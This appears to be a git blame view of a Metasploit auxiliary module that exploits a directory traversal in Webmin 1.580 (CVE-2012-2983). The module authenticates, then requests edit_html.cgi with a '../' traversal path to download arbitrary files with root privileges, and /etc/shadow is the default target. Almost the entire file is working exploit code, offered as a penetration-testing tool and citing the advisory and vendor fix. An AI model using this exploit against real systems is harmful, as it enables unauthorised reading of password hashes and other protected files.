Files
metasploit-gs/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

105 lines
3.3 KiB
Ruby
Raw Normal View History

2012-09-16 18:10:35 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-09-16 18:10:35 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2012-09-16 18:10:35 -05:00
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
2013-08-30 16:28:54 -05:00
2012-09-16 18:10:35 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access',
'Description' => %q{
This module exploits a directory traversal in Webmin 1.580. The vulnerability
exists in the edit_html.cgi component and allows an authenticated user with access
to the File Manager Module to access arbitrary files with root privileges. The
2017-08-24 21:38:44 -04:00
module has been tested successfully with Webmin 1.580 over Ubuntu 10.04.
2012-09-16 18:10:35 -05:00
},
'Author' => [
'Unknown', # From American Information Security Group
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '85247'],
2012-09-16 18:10:35 -05:00
['BID', '55446'],
['CVE', '2012-2983'],
['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-002.pdf'],
['URL', 'https://github.com/webmin/webmin/commit/4cd7bad70e23e4e19be8ccf7b9f245445b2b3b80']
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-09-06',
2012-09-16 18:10:35 -05:00
'Actions' =>
[
['Download', 'Description' => 'Download arbitrary file']
2012-09-16 18:10:35 -05:00
],
'DefaultAction' => 'Download'
))
2013-08-30 16:28:54 -05:00
2012-09-16 18:10:35 -05:00
register_options(
[
Opt::RPORT(10000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']),
OptInt.new('DEPTH', [true, 'Traversal depth', 4]),
OptString.new('RPATH', [ true, "The file to download", "/etc/shadow" ])
])
2012-09-16 18:10:35 -05:00
end
2013-08-30 16:28:54 -05:00
2012-09-16 18:10:35 -05:00
def run
2013-08-30 16:28:54 -05:00
2012-09-16 18:10:35 -05:00
peer = "#{rhost}:#{rport}"
2013-08-30 16:28:54 -05:00
2016-02-01 16:06:34 -06:00
print_status("Attempting to login...")
2013-08-30 16:28:54 -05:00
2012-09-16 18:10:35 -05:00
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
2013-08-30 16:28:54 -05:00
2012-09-16 18:10:35 -05:00
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)
2013-08-30 16:28:54 -05:00
2014-05-12 21:23:30 +02:00
if res and res.code == 302 and res.get_cookies =~ /sid/
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
2012-09-16 18:10:35 -05:00
if session and not session.empty?
2016-02-01 16:06:34 -06:00
print_good "Authentication successful"
2012-09-16 18:10:35 -05:00
else
2016-02-01 16:06:34 -06:00
print_error "Authentication failed"
2012-09-16 18:10:35 -05:00
return
end
else
2016-02-01 16:06:34 -06:00
print_error "Authentication failed"
2012-09-16 18:10:35 -05:00
return
end
2013-08-30 16:28:54 -05:00
2016-02-01 16:06:34 -06:00
print_status("Attempting to retrieve #{datastore['RPATH']}...")
2013-08-30 16:28:54 -05:00
2012-09-16 18:10:35 -05:00
traversal = "../" * datastore['DEPTH']
traversal << datastore['RPATH']
data = "file=#{traversal}&text=1"
2013-08-30 16:28:54 -05:00
2012-09-16 18:10:35 -05:00
res = send_request_cgi(
{
'method' => 'GET',
'uri' => "/file/edit_html.cgi?#{data}",
'cookie' => "sid=#{session}"
}, 25)
2013-08-30 16:28:54 -05:00
2012-09-16 18:10:35 -05:00
if (res and res.code == 200 and res.body =~ /#{traversal}/ and res.body =~ /name=body>(.*)<\/textarea>/m)
loot = $1
f = ::File.basename(datastore['RPATH'])
path = store_loot('webmin.file', 'application/octet-stream', rhost, loot, f, datastore['RPATH'])
2017-07-19 13:02:49 +01:00
print_good("#{datastore['RPATH']} saved in #{path}")
2012-09-16 18:10:35 -05:00
else
2016-02-01 16:06:34 -06:00
print_error("Failed to retrieve the file")
2012-09-16 18:10:35 -05:00
return
end
2013-08-30 16:28:54 -05:00
2012-09-16 18:10:35 -05:00
end
end